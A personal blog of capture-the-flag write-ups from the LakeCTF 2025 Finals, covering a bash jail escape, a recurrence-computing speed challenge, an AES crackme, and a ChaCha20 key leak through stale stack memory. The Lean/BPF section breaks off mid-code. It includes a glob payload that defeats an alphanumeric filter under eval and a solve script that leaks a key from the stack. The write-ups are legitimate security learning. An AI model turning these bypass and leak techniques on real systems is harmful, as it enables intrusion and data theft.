flocto's blog 
Recently we (.;,;.) got to travel to Switzerland and participate in the 2025 LakeCTF Finals at EPFL Lausanne. It was a great experience and we all had a ton of fun traveling and competing.
Unfortunately, we didn’t manage to win, only getting 4th place. Still, I really enjoyed the challenges, so here’s writeups for the challenges I solved, which were mostly rev with one misc.
misc - Craft The Flag
Oh wait CTF doesn’t mean Craft The Flag
nc chall.polygl0ts.ch 9098Points: 110 | Solves: 10
#!/bin/bash20 collapsed lines
# Set colors for a more dynamic experienceGREEN='\033[0;32m'CYAN='\033[0;36m'YELLOW='\033[1;33m'RED='\033[0;31m'RESET='\033[0m'
# ASCII Minecraft-style art (for the intro)echo -e "${CYAN}---------------------------------------------------"echo -e " ${GREEN}Welcome to my new 1.8.8 Minecraft Server!${RESET}"echo -e " ${YELLOW}Log in and come play with us!${RESET}"echo -e "---------------------------------------------------"echo -e ""echo -e "${YELLOW}Type your username to get started!${RESET}"echo -e ""
# Sleep for dramatic effect :dramatic:sleep 1
while true; do echo -e "${CYAN}----------------------------${RESET}" echo -e "${GREEN}${##} - Log in${RESET}" echo -e "${RED}$((${##}<<${##})) - Exit${RESET}" echo -e "${CYAN}----------------------------${RESET}" echo -e "Choose an option: " read choice
if [ "$choice" -eq 1 ]; then
echo -e "${YELLOW}Enter your Minecraft username:${RESET}" read username echo -e ""
if [ ! -f whitelist.json ]; then echo -e "${RED}Error: whitelist.json not found! Please contact the admin.${RESET}" continue fi
if jq -e --arg name "$username" '.[] | select(. == $name)' whitelist.json > /dev/null; then echo -e "${GREEN}Access granted! Welcome, ${CYAN}$username${GREEN}!${RESET}" echo -e "" echo -e "${CYAN}Enjoy your stay on our Minecraft server!${RESET}" echo -e "flag : EPFL{FAKE}" else echo -e "${RED}Access denied! You are not on the whitelist.${RESET}" echo -e "" echo -e "${CYAN}Try again later!${RESET}" fi
elif [ "$choice" -eq 2 ]; then echo "$ " read -r input
if [[ "$input" =~ [[:alnum:]] || ${#input} -gt 110 ]]; then echo "Error: Rejected." >&2 continue else eval "bash -c \"$input\"" fi else echo "Invalid input. Please enter 1 or 2." fi
echodone11 collapsed lines
# Stage 1: Build the minimal environmentFROM ubuntu:20.04 AS base
# Install only what’s necessaryRUN apt-get update && \ apt-get install -y --no-install-recommends \ bash \ jq \ coreutils && \ rm -rf /var/lib/apt/lists/*
# Create restricted binRUN mkdir -p /restricted-bin && \ cp /bin/ls /restricted-bin/ && \ cp /bin/cat /restricted-bin/9 collapsed lines
# Create user and homeRUN useradd -ms /bin/rbash ctfuserWORKDIR /home/ctfuser
# Copy the challenge filesCOPY challenge.sh /home/ctfuser/challenge_script.shCOPY whitelist.json /app/whitelist.json
# Permissions and restricted profileRUN echo 'export PATH=/restricted-bin' >> /home/ctfuser/.bash_profile && \ chmod +x /home/ctfuser/challenge_script.sh17 collapsed lines
# Stage 2: Final jailFROM pwn.red/jail
# Copy the entire restricted environmentCOPY --from=base / /srv
# redpwn/jail expects a /srv/app/run entrypointCOPY --from=base /home/ctfuser/challenge_script.sh /srv/app/run
# Make sure /srv/app/run is executableRUN chmod +x /srv/app/run
ENV JAIL_TIME 120ENV JAIL_CONNS_PER_IP 5ENV JAIL_MEM 20MENV JAIL_TMP_SIZE 20MWith a quick parse-through of the challenge, we can see a pretty clear hole in the script.
elif [ "$choice" -eq 2 ]; then echo "$ " read -r input
if [[ "$input" =~ [[:alnum:]] || ${#input} -gt 110 ]]; then echo "Error: Rejected." >&2 continue else eval "bash -c \"$input\"" fiAs long as we can produce some input that does not contain alphanumeric characters, we can run arbitrary bash commands.
One special feature of bash that fits perfectly here is using wildcards to glob files. This allows us to execute files even if we can’t spell them out by name.
Checking the Dockerfile, we see that there are helpful cat and ls binaries in /restricted-bin. This lets us run cat by using /*-*/??? instead, since after expansion, the only valid path will end up being /restricted-bin/cat.
From here, we can simply allow it to print every file in the directory, which should print the original sh script and give us the flag.
$ nc chall.polygl0ts.ch 9098--------------------------------------------------- Welcome to my new 1.8.8 Minecraft Server! Log in and come play with us!---------------------------------------------------
Type your username to get started!
----------------------------1 - Log in2 - Exit----------------------------Choose an option:2$/*-*/??? *... [truncated] echo -e "${GREEN}Access granted! Welcome, ${CYAN}$username${GREEN}!${RESET}" echo -e "" echo -e "${CYAN}Enjoy your stay on our Minecraft server!${RESET}" echo -e "flag : EPFL{LooKs_l1k3_4lph4numeric_filter_1s_n0t_enough}"... [truncated]rev - Fastprocess
Classic example of a bad rev challenge. File ‘solutions.txt’ is only an example. On the remote, it is regenerated every run.
nc chall.polygl0ts.ch 9070Points: 116 | Solves: 9
100 collapsed lines
419039093524866021 5253480278082363392129512260564226652 13124866128201383936749069362794463437 1232252044832186368335140905473764197 14871695962828439552335574193081417235 10650717383824457728256966611085784470 7817403002779959296788172764199840145 5481958494201839616964226096677086814 575635481297897472075846918916011634 3688607283484295168846608871809048473 4253718553447359808218703394089169872 8196101361308802880499013370692702107 1846328187118682112945012864030497780 776850308214869196819502795608119922 17475123775309332480109309650614386697 5731122308704003712455169381196390377 8505588835330692002382060665718823014 10367968462000619520991515285034548022 5762003957672520380694955152716075095 9606573056292028416784309398688803593 9316358259134693376139655098495424036 1783217031878017024460276414731333146 997519051469094912069316359781098132 2199409486861434880804346961375328652 8051030820439195648402975832422002478 6777181155091152896742590227786291609 19749328809121472771208462624441848 1601398467781984256051168125059044772 8116719871330353151929563989532142684 212405186500921600276624970662116728 13317267436710395904266852951274819606 7308905345671168000485870317150999840 11966129992063801344609992127017103343 5519573816147029760366828048311940032 2386754815771279360735390599405822397 1830142946214445056095456812816183194 7196581779833094144496099120990257678 1456528131174297936640864335947465031 9339274452638648448946781867878999462 12570039778120302592333748393004210653 13753056054296900864841709238117981116 6184007288911560704789079934945951395 10512370723316072448886656151836613348 16483705204223508480594464156819792349 15008800528433938432869721049525515399 7826697540430957360420908831683767374 13527922726904529168305387935205720779 17864174920631320576737481728539219474 8273258489095127040904350040485185493 16096235376292970496762734017514446383 2948572329451454464725857737885243305 13931915872785399808870452166195405054 14310294361223462912926823472953286272 4118453577117073408479271339778015133 7242270112502438400581754946937570551 13965509329168138240432591374554499103 5894715894748296192710856070764706301 13619125978106691584301403928406009131 6030266247160004608204406966792247251 14305335043993407488148567668923502407 14801270184706310144492369546879655204 2161754450586410168414535906265309725 17347344655712256000751055965195743066 1147274686596802150483688570794639996 5328798925300170752214720901554107603 11661058181345306624715917706375823303 10635904883700498432646555488927200753 5797261115931263133872802759508878029 15551643886630731776171646073839858716 8546590612034420736695076175609310027 17939441421819346816877972691643807577 32973253714761536550881926790469596 14615008417420031024780883385074613093 5208897595304312832716570344611606290 5176580041879257088532890293218718689 513500275676858438471071369011023634 7358546950200231800441019070814670325 6891596181668901269362106324076817263 6669060028491628545174420813453635649 15438673172462829568125529397384125327 7581700810262708224190794716479498585 9657169680132997120861091775888149933 11942476880893968384862633121306157000 4274744957882859520402269847520941040 11890917606686720996191617875277478 12197551110348603392374798632869251072 16108188243685539840247590527292312805 3858717815305618432174095638187604635 4137925613572849664380993258275196171 12311526125789249536763804216531940678 11488916199449296896639999400553165313 198160651540673331280647357003050471 2206418746080231424882352911550804187 31652798232424992995364623845355664 4425153587307347968413263032078564973 3803940977817681920328457983191576238 10286860838186778624507383938963953011 1205976210190893056736679251241197382 17828010906227408896111032714677491468 8059636854560784384114201152382051745 7250045961327476736We get just a binary and a text file with a list of pairs of numbers. Running the binary, it prompts us to answer the output for a function and then almost instantly tells us that we were too slow. Obviously, this means we must find some efficient way to compute this answer.
Opening up the binary, we can see the main function here. I’ve renamed some of the functions and variables to make it easier to read.
int32_t main(int32_t argc, char** argv, char** envp) { void* fsbase; int64_t rax = *(uint64_t*)((char*)fsbase + 0x28); srand(time(nullptr)); int32_t res = 1; int64_t n = (int64_t)(rand() % 29 + 32); int64_t x = f(n); res = do_level("Easy", n, x);
if (res) { n = (int64_t)(rand() % 0x15f90 + 0x2710); x = f(n); res = do_level("Medium", n, x); }
if (!res) goto label_401d56;
int32_t result;
if (parse_solutions_txt(&n, &x)) { res = do_level("Hard", n, x); label_401d56:
if (!res) { puts("\nYou failed a level."); result = 1; } else { puts("\nCongratulations! All levels pa…"); void var_118;
if (!print_flag(&var_118, 0x100)) { fwrite("Passed, but couldn't read flag f…", 1, 0x25, stderr); result = 1; } else { printf("Flag: %s\n", &var_118); result = 0; } } else { fprintf(stderr, "\nHard level setup failed. Check…", "solutions.txt", "\nHard level setup failed. Check…"); result = 1; }
*(uint64_t*)((char*)fsbase + 0x28);
if (rax == *(uint64_t*)((char*)fsbase + 0x28)) return result;
__stack_chk_fail(); /* no return */ }}To get the flag, we have to parse through 3 levels of verification. The first two levels are fairly simple, the binary generates a random small number (between 32 and 61) and a random medium number (between 10k and 100k). It then calls the function f with these arguments, and then calls do_level, which expects us to input the correct value of f(n) given n in 1 second.
Here is the actual function f:
int64_t f(int64_t n) { void* fsbase; int64_t rax = *(uint64_t*)((char*)fsbase + 0x28); int64_t result;
if (n <= 0x1e) result = 0; else if (n != 0x1f) { uint64_t arr[0x20]; __builtin_memset(&arr, 0, 0x100); arr[0x1f] = 1; int64_t j = 1; uint64_t i = 0;
for (int64_t _ = 0x20; n >= _; _ += 1) { int64_t tmp = j - arr[i]; arr[i] = j; j += tmp; i = (uint64_t)(i + 1) & 0x1f; }
result = arr[(uint64_t)(i + 0x1f) & 0x1f]; } else result = 1;
*(uint64_t*)((char*)fsbase + 0x28);
if (rax == *(uint64_t*)((char*)fsbase + 0x28)) return result;
__stack_chk_fail(); /* no return */}The function reserves a 32 length array, then successively computes values starting from the 32th iteration. If the input n is less than or equal to 32, the answer is hard-coded.
With a quick Python re-implementation, we can see that it seems to follow a strict pattern at first, but then suddenly starts to diverge.
def f(n): if n <= 30: return 0 elif n == 31: return 1 else: arr = [0] * 32 arr[31] = 1 j = 1 i = 0
for _ in range(32, n + 1): tmp = j - arr[i] arr[i] = j j += tmp i = (i + 1) & 0x1f
return arr[(i + 31) & 0x1f]
for i in range(32, 100): print(i, f(i))32 127 collapsed lines
33 234 435 836 1637 3238 6439 12840 25641 51242 102443 204844 409645 819246 1638447 3276848 6553649 13107250 26214451 52428852 104857653 209715254 419430455 838860856 1677721657 3355443258 6710886459 13421772860 26843545661 53687091262 107374182463 214748364864 429496729565 858993458966 1717986917667 3435973834868 6871947668869 13743895336070 274877906688At first, it seems to follow a pattern of , but after 64 that turns out to be incorrect. Additionally, since the datatypes are 64-bit, at some point it would overflow and wrap around as well.
Let’s try to represent the formula mathematically. For now, we assume that . Instead of considering as a function, we can consider it as a sequence of numbers. Thus, instead of finding , we can find the th number in the sequence, or .
for _ in range(32, n + 1): tmp = j - arr[i] arr[i] = j # arr[i] = F_n = j # update for F_{n+1} j += tmp # tmp = j - arr[i] i = (i + 1) & 0x1f
return arr[(i + 31) & 0x1f] # return F_nWhen calculating , we can see that we are essentially just returning the previous value of before it is updated, meaning . Then, when we update , we are increasing it by tmp, which is the difference between the current value of and the previous value of .
Finally, arr[i] is the value that was previously assigned when we were last in this position in arr. Looping through the entire buffer to reach the same spot again takes 32 iterations, so the previous value of arr[i] must be the 32th previous value in the sequence, or .
This gives us .
Thus, we have a recurrence relation of the form , which we can use to compute the value of for any . Our base case(s) can be the simple powers of two pattern when .
There are plenty of methods to calculate a recurrence relation quickly, but the easiest one is to use matrix exponentiation. We can represent the relation as a matrix multiplication, which allows us to compute it in time.
Here is my final solve script. I’ve done some small optimizations like starting from 63 as the base instead of 32, and I ended up having to use sage due to the fact that we are using 64-bit integers, or working in modulo .
from pwn import *import ctypesfrom sage.all import *from functools import cache
# r = process("./main")# nc chall.polygl0ts.ch 9070r = remote("chall.polygl0ts.ch", 9070)
@cachedef f(n):18 collapsed lines
if n < 0x20: return 0 arr = [0] * 0x20 arr[0x1f] = 1 j = 1 i = 0
# all uint64s for itr in range(0x20, n + 1): tmp = j - arr[i] tmp = ctypes.c_uint64(tmp).value arr[i] = j arr[i] = ctypes.c_uint64(arr[i]).value j += tmp j = ctypes.c_uint64(j).value i = (i + 1) & 0x1f
return arr[(i + 0x1f) & 0x1f]
@cachedef fast_f(n):25 collapsed lines
if n < 0x40: return f(n)
p = 2**64 P = Integers(p) k = 33
# Transition matrix M: a_n = a_{n-1} + a_{n-k} M = Matrix(P, k, k)
# Fill in shift: M[i][i+1] = 1 for i = 0..k-2 for i in range(k - 1): M[i, i+1] = 1
# F_n = 2F_{n-1} - F_{n-k} M[k-1, 0] = -1 M[k-1, k-1] = 2
vec = [1, 1, 2, 4, 8, 16, 32, 64, 128, 256, 512, 1024, 2048, 4096, 8192, 16384, 32768, 65536, 131072, 262144, 524288, 1048576, 2097152, 4194304, 8388608, 16777216, 33554432, 67108864, 134217728, 268435456, 536870912, 1073741824, 2147483648] v0 = vector(P, vec)
if n < k: return v0[n] Mn = M**(n - 63) return (Mn * v0)[k - 1]
line = r.recvline_contains(b'What is f(')n = int(line.split(b'(')[1].split(b')')[0])x = 1 << (n - 32)print(f"f({n}) = {x}")r.sendlineafter(b'Your answer: ', str(x).encode())
line = r.recvline_contains(b'What is f(')n = int(line.split(b'(')[1].split(b')')[0])x = fast_f(n)print(f"f({n}) = {x}")r.sendlineafter(b'Your answer: ', str(x).encode())
line = r.recvline_contains(b'What is f(')n = int(line.split(b'(')[1].split(b')')[0])x = fast_f(n)print(f"f({n}) = {x}")r.sendlineafter(b'Your answer: ', str(x).encode())
r.interactive()Running this gives us our flag: EPFL{are_you_serious_fibonacci_again}
$ python3 solve.py[+] Opening connection to chall.polygl0ts.ch on port 9070: Donef(54) = 4194304f(13895) = 14979957406756292168f(379402583153428697) = 889007270209280[*] Switching to interactive mode
Received: 889007270209280 (took 0.867 s)Correct! Proceeding...
Congratulations! All levels passed!Flag: EPFL{are_you_serious_fibonacci_again}[*] Got EOF while reading in interactive[*] Closed connection to chall.polygl0ts.ch port 9070rev - Jump Around
Jump Around from House of Pain: https://www.youtube.com/watch?v=MdxCfAb-ROM
Points: 116 | Solves: 9
This challenge mainly revolved around an obfuscation technique where each assembly instruction was contained inside its own function and after executing one instruction, it would jump or call a function corresponding to the next instruction. This made it very difficult to follow the control flow of the program, as it was not linear at all.
Most of the work on this challenge was done by my teammate kroot, who vibe coded created a gdb script to dump what should be the actual instructions. As I don’t have access to it or how it was created, I’ll simply go over the part that I did, which was taking the output of that script and analyzing it.
Here’s what the first portion of the dump looked like:
f208: mov rbp,rspfaa0: push rbxf5f1: sub rsp,0x148f742: mov rax,QWORD PTR fs:0x28f708: mov QWORD PTR [rbp-0x18],raxf2ae: xor eax,eaxf8db: mov rax,rspf4ad: mov rbx,raxf85f: mov DWORD PTR [rbp-0x144],0x30fab8: mov eax,DWORD PTR [rbp-0x144]f8f5: movsxd rdx,eaxf826: sub rdx,0x1f97f: mov QWORD PTR [rbp-0x140],rdxf7ba: cdqef880: mov edx,0x10fad5: sub rdx,0x1f530: add rax,rdxf400: mov esi,0x10f949: mov edx,0x0f359: div rsif99d: imul rax,rax,0x10f965: sub rsp,raxf4e1: mov rax,rspf258: mov QWORD PTR [rbp-0x138],raxf89c: mov rax,QWORD PTR [rbp-0x138]f4c7: mov rsi,raxf762: lea rax,[rip+0xae7] # 0x555555560250f564: mov rdi,raxfa84: mov eax,0x0f697: call 0x555555555080 <__isoc99_scanf@plt>f79b: mov QWORD PTR [rbp-0x70],0x0f723: mov QWORD PTR [rbp-0x68],0x0f6b3: movabs rax,0xa6d2ae2816157e2bf31e: movabs rdx,0x3c4fcf098815f7abf660: mov QWORD PTR [rbp-0x60],raxf645: mov QWORD PTR [rbp-0x58],rdxf458: movabs rax,0xff2bf601bd7f2cc4f8ba: movabs rdx,0xa19d6771c2a58e2f780: mov QWORD PTR [rbp-0x50],raxf479: mov QWORD PTR [rbp-0x48],rdxf9f6: movabs rax,0x4e4eaf7ead01a0a8f373: movabs rdx,0xda67f3d74d336f23fa4d: mov QWORD PTR [rbp-0x40],raxf7ed: mov QWORD PTR [rbp-0x38],rdxf2c7: movabs rax,0xc1c8da839ec6d06ef9b8: movabs rdx,0x6f0e62d284fdefadf3e5: mov QWORD PTR [rbp-0x30],raxf3ca: mov QWORD PTR [rbp-0x28],rdxf515: lea rdx,[rbp-0x70]faf0: lea rcx,[rbp-0x60]f808: lea rax,[rbp-0x130]f62b: mov rsi,rcxf54a: mov rdi,raxfa31: call 0x5555555568c0If you’ve looked at normal CTF crackme binaries before, this code should look pretty familiar. At the top, we have function initialization, where it reserves some stack space and also stores a stack canary. Then, there’s a call for user input, followed by some constants that are loaded onto the stack (highlighted above).
Funnily enough, searching the first constant results in some pages about AES, with the first 16 bytes of these constants being a commonly used AES key.
Peeking at the readonly data, we also have what appears to be the standard AES S-box, inverse S-Box, and Rcon tables.
From here, we can do one test with ltrace just to see what happens, which appears to be very little:
$ ltrace ./out__isoc99_scanf(0x5627e5d3e250, 0x7ffe045c5140, 15, 0x5627e5d3fdd0AAAA) = 1memcmp(0x7ffe045c5270, 0x7ffe045c5140, 48, 0x7ffe045c5140) = 0xffffffc7puts("FAILURE!"FAILURE!) = 9+++ exited (status 0) +++However, given the context we’ve seen, it’s safe to guess that there’s AES encryption going on with our input, which is then compared to some other data in the memcmp.
Writing a quick script in Python, we can see that our guess is pretty close.
from Crypto.Cipher import AES
key = (0xa6d2ae2816157e2b).to_bytes(8, 'little') + (0x3c4fcf098815f7ab).to_bytes(8, 'little')enc = [ 0xff2bf601bd7f2cc4, 0xa19d6771c2a58e2, 0x4e4eaf7ead01a0a8, 0xda67f3d74d336f23, 0xc1c8da839ec6d06e, 0x6f0e62d284fdefad,]enc = b''.join([i.to_bytes(8, 'little') for i in enc])cipher = AES.new(key, AES.MODE_ECB)print(cipher.decrypt(enc))$ python3 test.pyb'EPFL{mom_please_\xb7X\x10\xcd^\x9bN\x8c\x911D{(\xbb`U\xc1\xcer\xd9\x0c\xda-:J\x00]>\x88\xac\x1a\xda'However, it looks like only our first block is valid. Thankfully, one small change is enough to make it work, we simply use CBC mode instead with an IV of all null bytes, which gives us the flag.
cipher = AES.new(key, AES.MODE_ECB)cipher = AES.new(key, AES.MODE_CBC, iv=b'\x00' * 16)$ python3 test.pyb'EPFL{mom_please_stop_messing_my_instructions__}\x00'This was a pretty funny challenge where trusting your gut and simply guessing some aspects of the challenge could save a lot of time (I didn’t even bother opening the binary in a decompiler).
rev - Hygiene
I know not to roll my own crypto and I have used a public and audited cryptographic library for my newest cli encryption program. Surely nothing could go wrong…
nc chall.polygl0ts.ch 9034Points: 140 | Solves: 7
This challenge was a bit less reversing and more program analysis. The binary came with symbols so most of the functions looked pretty nice.
int32_t main(int32_t argc, char** argv, char** envp)27 collapsed lines
setbuf(fp: stdin, buf: nullptr) setbuf(fp: __TMC_END__, buf: nullptr) setbuf(fp: stderr, buf: nullptr) read(fd: open(file: "flag.txt", oflag: 0), buf: &flag, nbytes: 0x100)
if (argc == 1) int32_t fd_1 = open(file: "/dev/urandom", oflag: 0)
if (fd_1 < 0) exit(status: 1)
if (read(fd: fd_1, buf: &instance_key, nbytes: 0x20) != 0x20) exit(status: 1) else int32_t fd = open(file: argv[1], oflag: 0)
if (fd < 0) __printf_chk(flag: 1, format: "Bad keyfile") exit(status: 1)
if (read(fd, buf: &instance_key, nbytes: 0x20) != 0x20) exit(status: 1)
__builtin_memset(s: &iv, c: 0, n: 0x18) initial_setup() chall() return 0
int64_t initial_setup()15 collapsed lines
void* fsbase int64_t rax = *(fsbase + 0x28) char s[0x108]
__sprintf_chk(&s, flag: 1, slen: 0x100, format: "Hi. If you have been able to dec…", &flag) int128_t var_158 = instance_key[0].o int128_t var_148 = instance_key[0x10][0].o int128_t var_138 = iv[0].o int64_t var_128 = iv[0x10][0].q chacha20_encrypt_and_destroy(dst: "ciphertext", src: &s, len: 0x100, block: 0)
if (rax == *(fsbase + 0x28)) return 0
__stack_chk_fail()
int64_t chall()46 collapsed lines
void* fsbase int64_t rax = *(fsbase + 0x28) int32_t rax_2
while (true) puts(str: "Menu:\n1. Encrypt data\n2. Print…") puts(str: "What do you want to do?") char buf[0x180] rax_2 = get_num(&buf, n: 5)
if (rax_2 != 1) break
puts(str: "How many characters do you want …") int32_t len_1 = get_num(&buf, n: 0xa) int64_t len = sx.q(len_1) puts(str: "Which block do you want to encry…") int32_t block = get_num(&buf, n: 0xa)
if (sx.q(block) - 3 > 99997) __printf_chk(flag: 1, format: "Nope, not giving you another enc…") else if (len u> 379) __printf_chk(flag: 1, format: "Maximum number of characters is …", 0x17b) else puts(str: "Input the text you want to encry…") if (&buf == __fgets_chk(&buf, size: 384, n: len_1 + 2, fp: stdin)) if (buf[1 + len] != 0) __printf_chk(flag: 1, format: "YOU LIED TO ME ABOUT THE LENGHT!…") exit(status: 1)
int128_t var_208_1 = instance_key[0].o int128_t var_1f8_1 = instance_key[0x10][0].o int128_t var_1e8_1 = iv[0].o int64_t var_1d8_1 = iv[0x10][0].q chacha20_encrypt_and_destroy(dst: &buf, src: &buf, len, block) puts(str: "Here is your encrypted text:") printhex(&buf, len)
if (rax_2 == 2) printhex("ciphertext", 0x100) exit(status: 0)
if (rax == *(fsbase + 0x28)) return 0
__stack_chk_fail()The binary first generates a key to be used for ChaCha20 encryption, either from /dev/urandom or from a specified file. Then, it encrypts a message containing the flag with this key and stores it at the location of ciphertext.
From here, we get a standard encryption oracle, where we can query the oracle with a block number and a message to encrypt. The block number is used to determine which block of the ChaCha keystream is used to encrypt the message. We can also get the encrypted flag message and exit the program.
We can assume that the ChaCha20 implementation is correct, given the description, so let’s focus on the rest of the program.
no block reuse
If you have some crypto experience, perhaps you might try to encrypt some text with the same keystream as the one that encrypted the flag. This would let us recover the keystream as we would have a known plaintext / ciphertext pair, which we could then use to decrypt the encrypted flag message.
However, unfortunately there is no way to use the same blocks as the ones used to encrypt the flag, as the program will only allow us to use blocks between 3 and 100000.
int32_t block = get_num(&buf, n: 0xa)
if (sx.q(block) - 3 > 99997) __printf_chk(flag: 1, format: "Nope, not giving you another enc…")The sign extension on block means that even if we pass in a block below 3, it would underflow through subtraction and cause the if statement to still be true.
maybe this is useful
Looking at the other parameter we can input, there actually is a small bug here
else if (len u> 379) __printf_chk(flag: 1, format: "Maximum number of characters is …", 0x17b)else puts(str: "Input the text you want to encry…")
if (&buf == __fgets_chk(&buf, size: 384, n: len_1 + 2, fp: stdin)) if (buf[1 + len] != 0) __printf_chk(flag: 1, format: "YOU LIED TO ME ABOUT THE LENGHT!…") exit(status: 1)
int128_t var_208_1 = instance_key[0].o int128_t var_1f8_1 = instance_key[0x10][0].o int128_t var_1e8_1 = iv[0].o int64_t var_1d8_1 = iv[0x10][0].q chacha20_encrypt_and_destroy(dst: &buf, src: &buf, len, block) puts(str: "Here is your encrypted text:") printhex(&buf, len)Notice that the program doesn’t check that we input as many characters as the length we specified, it only checks that the character at buf[1 + len] is null. This means that we could potentially have the encrypted plaintext be left over stack data from previous calls by simply not inputing as many bytes as we claim.
Running through GDB quickly with a breakpoint just before the fgets call, we see that the ChaCha key itself just so happens to be on the stack in our input buffer, uncleared:
$rbx+ 0x7fffffffd420|+0x0000|+000: 0x2f2f2f000a000a33 [buf] 0x7fffffffd428|+0x0008|+001: 0x66416b941a777300 <- canary 0x7fffffffd430|+0x0010|+002: 0x00005555555581c0 <flag> -> 0x0000000000000000 0x7fffffffd438|+0x0018|+003: 0x00007fffffffd4d0 -> 0x0706050403020100 0x7fffffffd440|+0x0020|+004: 0x0000000000000100 0x7fffffffd448|+0x0028|+005: 0x0000555555558080 <encrypt_header> -> 0x59fab6808cca4ac9 0x7fffffffd450|+0x0030|+006: 0x0000555555555553 <main> -> 0xfb8908ec83485355 0x7fffffffd458|+0x0038|+007: 0x0000555555557dd8 -> 0x0000555555555180 -> 0x301d3d80fa1e0ff3 0x7fffffffd460|+0x0040|+008: 0x00007ffff7ffd040 <_rtld_global> -> 0x00007ffff7ffe2e0 -> 0x0000555555554000 -> ... 0x7fffffffd468|+0x0048|+009: 0x00005555555551ff <chacha20_encrypt_and_destroy+0x1f> -> 0xed85481874dc3949 0x7fffffffd470|+0x0050|+010: 0x00007fffffffd4d0 -> 0x0706050403020100 0x7fffffffd478|+0x0058|+011: 0x00007fffffffd718 -> 0x00007fffffffd9b9 -> 0x552f632f746e6d2f '/mnt/c/Users/flocto/Documents/Cybersecurity/2025/LakeCTFFinals/h'... 0x7fffffffd480|+0x0060|+012: 0x00007fffffffd718 -> 0x00007fffffffd9b9 -> 0x552f632f746e6d2f '/mnt/c/Users/flocto/Documents/Cybersecurity/2025/LakeCTFFinals/h'... 0x7fffffffd488|+0x0068|+013: 0x000055555555552a <initial_setup+0x8d> -> 0x0824848b48dc8948 0x7fffffffd490|+0x0070|+014: 0x4242424241414141 'AAAABBBBCCCCDDDD0000111122223333' [ChaCha key] 0x7fffffffd498|+0x0078|+015: 0x4444444443434343 'CCCCDDDD0000111122223333' 0x7fffffffd4a0|+0x0080|+016: 0x3131313130303030 '0000111122223333' 0x7fffffffd4a8|+0x0088|+017: 0x3333333332323232 '22223333' 0x7fffffffd4b0|+0x0090|+018: 0x0000000000000000 0x7fffffffd4b8|+0x0098|+019: 0x0000000000000000 0x7fffffffd4c0|+0x00a0|+020: 0x0000000000000000This means we can specify a length just beyond that of the ChaCha key, input in no characters, then the program will happily spit out the encrypted key. Wait… that isn’t too useful!
Thankfully, since ChaCha is a stream cipher, simply repeating the encryption again will decrypt the key and spit it out to use in a useful format. All that’s left is to script this all together and we have our flag!
from pwn import *from Crypto.Cipher import ChaCha20
key = open('keyfile', 'rb').read()iv = b'\x00' * 0x8cipher = ChaCha20.new(key=key, nonce=iv)BLOCK_SIZE = 0x40# r = process(['./chal', 'keyfile'])# nc chall.polygl0ts.ch 9034r = remote('chall.polygl0ts.ch', 9034)
def enc(block, pt, len): r.sendlineafter(b'to do?\n', b'1') r.sendlineafter(b'to encrypt?\n', str(len).encode()) r.sendlineafter(b'to encrypt?\n', str(block).encode()) r.sendlineafter(b'to encrypt:\n', pt) # r.sendlineafter(b'to encrypt:\n', b'B' * 380) r.recvuntil(b' text:\n') return r.recvline().strip()
enc(3, b'', 150)dec = enc(3, b'', 150)dec = bytes.fromhex(dec.decode())key = dec[112:144]print(f'key: {key.hex()}')
# r.interactive()r.sendlineafter(b'to do?\n', b'2')ct = bytes.fromhex(r.recvline().strip().decode())
cipher = ChaCha20.new(key=key, nonce=iv)pt = cipher.decrypt(ct)
print(pt)$ python3 solve.py[+] Opening connection to chall.polygl0ts.ch on port 9034: Donekey: ff2a9d3e4f6a08e5406947061369dd68e1022cb62f3a112e998b011bb00e63dfb'Hi. If you have been able to decrypt this text, you deserve the flag for this chall: EPFL{remember_to_clean_your_keys_and_beware_of_stack_parameters}\n\n\x00\xa0\xb6-L\xf3\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xf5\xe3\x14L\xf3\x7f\x00\x00\x0e\x00\x00\x00\x00\x00\x00\x00\xa0\xb6-L\xf3\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe9H\x07\x00k\xfal\x00v-L\xf3\x7f\x00\x00\xad\xa5\x14L\xf3\x7f\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x7f\x15\x14L\xf3\x7f\x00\x00\x00@>\xbf\xfd\x7f\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00'[*] Closed connection to chall.polygl0ts.ch port 9034rev - one vs all
I’ve proven myself impossible to beat at this but you can take a try.
nc chall.polygl0ts.ch 9076Points: 500 | Solves: 0
#!/usr/bin/env -S python3 -uimport subprocess
with open("/tmp/moves.txt", "w") as f: f.write("221\n") while True: move = input("Enter your move: ") if move == 'EOF': break f.write(move + "\n") print(move)
result = subprocess.run(["stdbuf", "-i0", "-e0", "-o0", "/app/main"], capture_output=True, text=True)print(result.stdout)Finally, the last unblooded rev. Although I didn’t manage to solve this one during the CTF, I took a look at it afterward and manage to upsolve it first.
The main gimmick of the challenge was the fact that it was a compiled Lean binary, which then had a BPF program interpreter that ran the provided BPF program. Both of these were non-standard and made it hard to get a good overview of the program.
The decompilation of the binary was really really bad to look at, since Lean has a lot of consistency checks that add bloat to the real program logic. Feel free to open it in your own decompiler to check yourself.
Anyway, after a bit of digging around, we find the real _lean_main function. It uses some pre-initialized constants from initialize_Main, which I’ve put below.
int64_t* rax_365 = lean_mk_string_unchecked("program.bpf", 0xb, 0xb)program.bpf = rax_365lean_mark_persistent(rax_365)
int64_t* rax_366 = lean_mk_string_unchecked("/tmp/moves.txt", 0xe, 0xe)_/tmp/moves.txt = rax_366lean_mark_persistent(rax_366)
int64_t* rax_367 = lean_mk_string_unchecked("No moves found!", 0xf, 0xf)No moves found! = rax_367lean_mark_persistent(rax_367)
int64_t* rax_368 = lean_alloc_small(0x18, 2)*rax_368 = -0xaffffffffffffffrax_368[1] = l_main___lambda__1___boxedrax_368[2].d = 1l_main___closed__4 = rax_368lean_mark_persistent(rax_368)
int64_t* rax_369 = lean_mk_string_unchecked("Unsuccessful", 0xc, 0xc)Unsuccessful = rax_369lean_mark_persistent(rax_369)
int64_t* rax_370 = lean_mk_string_unchecked("Successful run!", 0xf, 0xf)Successful run! = rax_370lean_mark_persistent(rax_370)
int64_t* rax_371 = lean_mk_string_unchecked("flag.txt", 8, 8)flag.txt = rax_371lean_mark_persistent(rax_371)Note: this code is really long, don’t expand unless you want to see the whole thing, a lot of it is just error checks and reference counting.
int64_t* c = l_IO_FS_readFile(program.bpf)45 collapsed lines
if ((c.b & 1) == 0) if (zx.d(*(c + 7)) != 0) goto label_4fab8b
goto label_4faad3
if ((c u>> 1).d != 0) label_4fab8b:
if (*c != 1) label_4fab92: int32_t* rbx_2 = c[1] int32_t* r14_2 = c[2]
